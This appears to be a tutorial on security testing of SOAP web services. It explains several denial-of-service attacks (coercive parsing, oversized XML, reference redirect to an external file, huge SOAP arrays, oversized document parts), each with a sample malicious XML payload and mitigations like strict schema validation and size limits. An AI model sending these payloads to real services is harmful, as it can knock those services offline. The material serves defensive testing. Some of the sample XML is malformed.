Security Testing of SOAP Web Services

Coercive Parsing:

Coercive Parsing is one of the simplest attacks to mount! It aims at exhausting the system resources of the attacked web service. The attacker just sends a SOAP message with an unlimited amount of opening tags in the SOAP Body. In other words: The attacker sends a very deeply nested XML document to the attacked web service.

 Attack example

The following SOAP message shows an example with a "Coercive Parsing Attack" payload.

<soapenv:Envelope xmlns:soapenv="..." xmlns: soapenc:"...">

<soapenv:Body>

 <x>

    <x>

       <x> 

          <x>

             <x>

                 <!-- Continued for as long as wanted by the attacker -->

Attack mitigation / countermeasures

The "Coercive Parsing" attack can be fully stopped when using strict schema validation. Each WSDL should contain a detailed description of the used elements, attributes, and data types. For example when only one Element <Surname> is expected within the SOAP body the XML Schema should contain the following elements:

..

<!-- excerpt fictional XML Schema -->

<xs:element name="Surname" type="xs:string"/>

Oversized/Overflow XML attack:

Attack subtypes

There are a variety of attack subtypes that inhibit the same idea; the creation of oversized XML Tags.

XML Extra Long Names/Extra size charecters (like if 0-15 is used in integer then use -1 or 20 as attack)

XML Oversized Attribute Content:

The "XML Oversized Attribute Content" attack causes a buffer overflow by using a very large string as value of an attribute.

XML Oversized Attribute Count:

The "XML Oversized Attribute Count" attack causes a buffer overflow by using a large number of attributes in an element.

Attack Mitigation

Since the XML standard doesn't limit the size of components within a XML tag the developer has to set up its own limits. Therefore one should manually define a maximum length for each element, attribute, and attribute value. Furthermore a limit on the number of attributes should be imposed.

Reference Redirect:

When using XML Signature or XML Encryption in a SOAP message, the user is given a great amount of flexibility of what data is signed or encrypted. It is even possible to sign or encrypt data outside of the original SOAP message. This property can be used to mount a denial of service attack. The attack is explained in the following by using the example "encryption"; however it works the same way with signatures in SOAP messages

We will only use an example of a SOAP message with a signature in the security header. The presentation of an example for an encryption example is omitted since it doesn't show any new findings.

Listing 1 shows a non malicious SOAP message with a signature in the security header [1]

<SOAP-ENV:Envelope

  xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">

  <SOAP-ENV:Header>

    <SOAP-SEC:Signature

      xmlns:SOAP-SEC="http://schemas.xmlsoap.org/soap/security/2000-12"

      SOAP-ENV:actor="some-URI"

      SOAP-ENV:mustUnderstand="1">

      <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">

        <ds:SignedInfo>

          <ds:CanonicalizationMethod  

            Algorithm="http://www.w3.org/TR/2000/CR-xml-c14n-20001026">

          </ds:CanonicalizationMethod>

          <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#dsa-sha1"/>

          <ds:Reference URI="#Body">

            <ds:Transforms>

              <ds:Transform Algorithm="http://www.w3.org/TR/2000/CR-xml-c14n-20001026"/>

            </ds:Transforms>

            <ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>

            <ds:DigestValue>j6lwx3rvEPO0vKtMup4NbeVu8nk=</ds:DigestValue>

          </ds:Reference>

        </ds:SignedInfo>

        <ds:SignatureValue>MC0CFFrVLtRlk=...</ds:SignatureValue>

      </ds:Signature>

    </SOAP-SEC:Signature>

  </SOAP-ENV:Header>

  <SOAP-ENV:Body

    xmlns:SOAP-SEC="http://schemas.xmlsoap.org/soap/security/2000-12"

    SOAP-SEC:id="Body">

    <m:GetLastTradePrice xmlns:m="some-URI">

      <m:symbol>IBM</m:symbol>

    </m:GetLastTradePrice>

  </SOAP-ENV:Body>

</SOAP-ENV:Envelope>

Listing 1: SOAP message with a non malicious signature

When an malicious attacker takes the message and modifies the element <ds:Reference URI="#Body"> to an external resource, as shown in listing 2, a denial of service attack is possible.

<SOAP-ENV:Envelope

  xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">

  <SOAP-ENV:Header>

    <SOAP-SEC:Signature

      xmlns:SOAP-SEC="http://schemas.xmlsoap.org/soap/security/2000-12"

      SOAP-ENV:actor="some-URI"

      SOAP-ENV:mustUnderstand="1">

      <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">

        <ds:SignedInfo>

          <ds:CanonicalizationMethod  

            Algorithm="http://www.w3.org/TR/2000/CR-xml-c14n-20001026">

          </ds:CanonicalizationMethod>

          <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#dsa-sha1"/>

          <ds:Reference URI="http://example.com/VERYBIGFILE.DAT">

            <ds:Transforms>

              <ds:Transform Algorithm="http://www.w3.org/TR/2000/CR-xml-c14n-20001026"/>

            </ds:Transforms>

            <ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>

            <ds:DigestValue>j6lwx3rvEPO0vKtMup4NbeVu8nk=</ds:DigestValue>

          </ds:Reference>

        </ds:SignedInfo>

        <ds:SignatureValue>MC0CFFrVLtRlk=...</ds:SignatureValue>

      </ds:Signature>

    </SOAP-SEC:Signature>

  </SOAP-ENV:Header>

  <SOAP-ENV:Body

    xmlns:SOAP-SEC="http://schemas.xmlsoap.org/soap/security/2000-12"

    SOAP-SEC:id="Body">

    <m:GetLastTradePrice xmlns:m="some-URI">

      <m:symbol>IBM</m:symbol>

    </m:GetLastTradePrice>

  </SOAP-ENV:Body>

</SOAP-ENV:Envelope>

Attack Mitigation

This attack can easily prevented by prohibiting references to resources outside of the current document.

Soap Array Attack:

SOAP messages are flexible in many ways, even Arrays are supported. If you are new to SOAP arrays check the documentation by the W3C [1].

However this feature that can be exploited by an attacker to cause a denial of service attack to limit the web service availability.

Before an SOAP array is used, its size has to be defined, just like with many other programming languages. By default, SOAP doesn't limit the number of elements within an array. This property can be exploited by an attacker to execute a DOS attack limiting the availability of the web service. Let's assume an attacker declares an array with 1,000,000,000 String elements. Before the message is processed any further by the parser, the web service will reserve space for 1,000,000,000 String Elements in the RAM. In most cases that will lead to memory exhaustion of the attacked system.

Easy countermeasures are available if one is aware of the attack.

Attack example

In our example we just take an arbitrary SOAP message with a string array in the SOAP message body. In this case the attacker declares a SOAP array with one million elements.

Siehe bachelor Seite 61

<soapenv:Envelope xmlns:soapenv="..." xmlns: soapenc:"...">

<soapenv:Body>

<ns1:FunctionWithArrayInput xmlns:ns1="...">

<DataSet xsi:type="soapenc:Array"

soapenc:arrayType="xsd:string[1000000]">

<item xsi:type="xsd:string">Data1</item>

<item xsi:type="xsd:string">Data2</item>

<item xsi:type="xsd:string">Data3</item>

</DataSet>

</ns1:FunctionWithArrayInput>

</soapenv:Body>

</soapenv:Envelope>

XML_Document_Size_Attack:

The XML Document Size attack is very simple to mount. It aims at limiting the availability of the targeted web service.

The attack is executed by sending a very large SOAP message to the attacked web service. Eventually the parser runs out of memory trying to parse the document. Countermeasures are available. A full attack mitigation is possible if the document size is checked prior to parsing or by applying strict schema validation.

The attack is also known under the name “Oversize payload attack or Jumbo payload Attack".

Oversized SOAP Header:

The only difference to the general example given above is that the over sized content is completely contained in the header of the SOAP message.

Oversized SOAP Body:

The over sized content is contained in the SOAP body.

Oversized SOAP Envelope:

The over sized content is contained within the SOAP envelope but outside of the SOAP Header and SOAP Body.

Note: Putting the oversized content outside of the SOAP envelope isn't considered an separate attack since web service XML parsers generally only parse the content within <soap:envelope> tag.

An example for each subtype is given later.

Attack example

Example 1: Malicious SOAP Message with oversized SOAP Security Header.

<?xml version=”1.0” encoding=”UTF-8”?> xmlsoap.org/soap/envelope/”>

<soap:Envelope xmlns:soap=”http://schemas. xmlsoap.org/soap/envelope/”>

  <soap:Header>

    <oversize>

       AdsG4d943wvcju r532MZ42Fdsj+2jf rws=2r45j2fw S r432jdlsfff ..

       <!-- The data may continue on for many megabytes or even gigabytes -->

       Djgf dsFRjr432j dlsfff ..

    </oversize>

  </soap:Header>

  <soap:Body>

     <!-- Arbitrary function call -->

  </soap:Body>

</soap:Envelope>

Listing 1: Attack Payload for “Oversized SOAP Security Header ”

Example 2: Malicious SOAP Message with oversized SOAP body.

<?xml version=”1.0” encoding=”UTF-8”?> xmlsoap.org/soap/envelope/”>

<soap:Envelope xmlns:soap=”http://schemas. xmlsoap.org/soap/envelope/”>

  <soap:Body>

    <oversize>

      <item1>x</item1>

      <item1>x</item1>

      <item1>x</item1>

      <!-- The element <item1> may continue on, until the SOAP message reaches a size of megabytes or even gigabytes -->

    </oversize>

  </soap:Body>

</soap:Envelope>

Listing 2: Attack Payload for “Oversized SOAP body ”

Example 3: Malicious SOAP Message with oversized SOAP envelope. The attack payload is positioned between header and body. However it might also be positioned before the header or even after the body.

<?xml version=”1.0” encoding=”UTF-8”?> xmlsoap.org/soap/envelope/”>

<soap:Envelope xmlns:soap=”http://schemas. xmlsoap.org/soap/envelope/”>

   <soap:Header>

    <!-- Arbitrary function call -->

  </soap:Header>

  <soap:oversize>

    <item1>x</item1>

    <item1>x</item1>

    <item1>x</item1>

    <!-- The element <item1> may continue on, until the SOAP message reaches a size of megabytes or even gigabytes -->

  </soap:oversize>

  <soap:Body>

     <!-- Arbitrary function call -->

  </soap:Body>

</soap:Envelope>

Listing 3: Attack Payload for “Oversized SOAP envelope”

As seen above, in all three cases the attack consists just of a very large document, created by using a very long string or by repeating an element.

Attack mitigation / countermeasures

The simplest way to defend against the attack is checking the document size prior to parsing. The maximum allowed document size depends on the type of web service you are running, i.e. if you deploy a simple stock quote service a maximum document size of 1kb is sufficient.

However a better way of stopping the attack in general is using strict schema validation. Each WSDL should contain a detailed description of the used elements, attributes and data types. For example when only one Element <Surname> with a maximum length of 20 characters is expected, the XML Schema for the SOAP body should contain only the following content:

..

<!-- excerpt fictional XML Schema for a SOAP message -->

<xs:element name="Surname">

  <xs:simpleType>

    <xs:restriction base="xs:string">

      <xs:minLength value="1"/>

      <xs:maxLength value="20"/>

    </xs:restriction>

  </xs:simpleType>

</xs:element>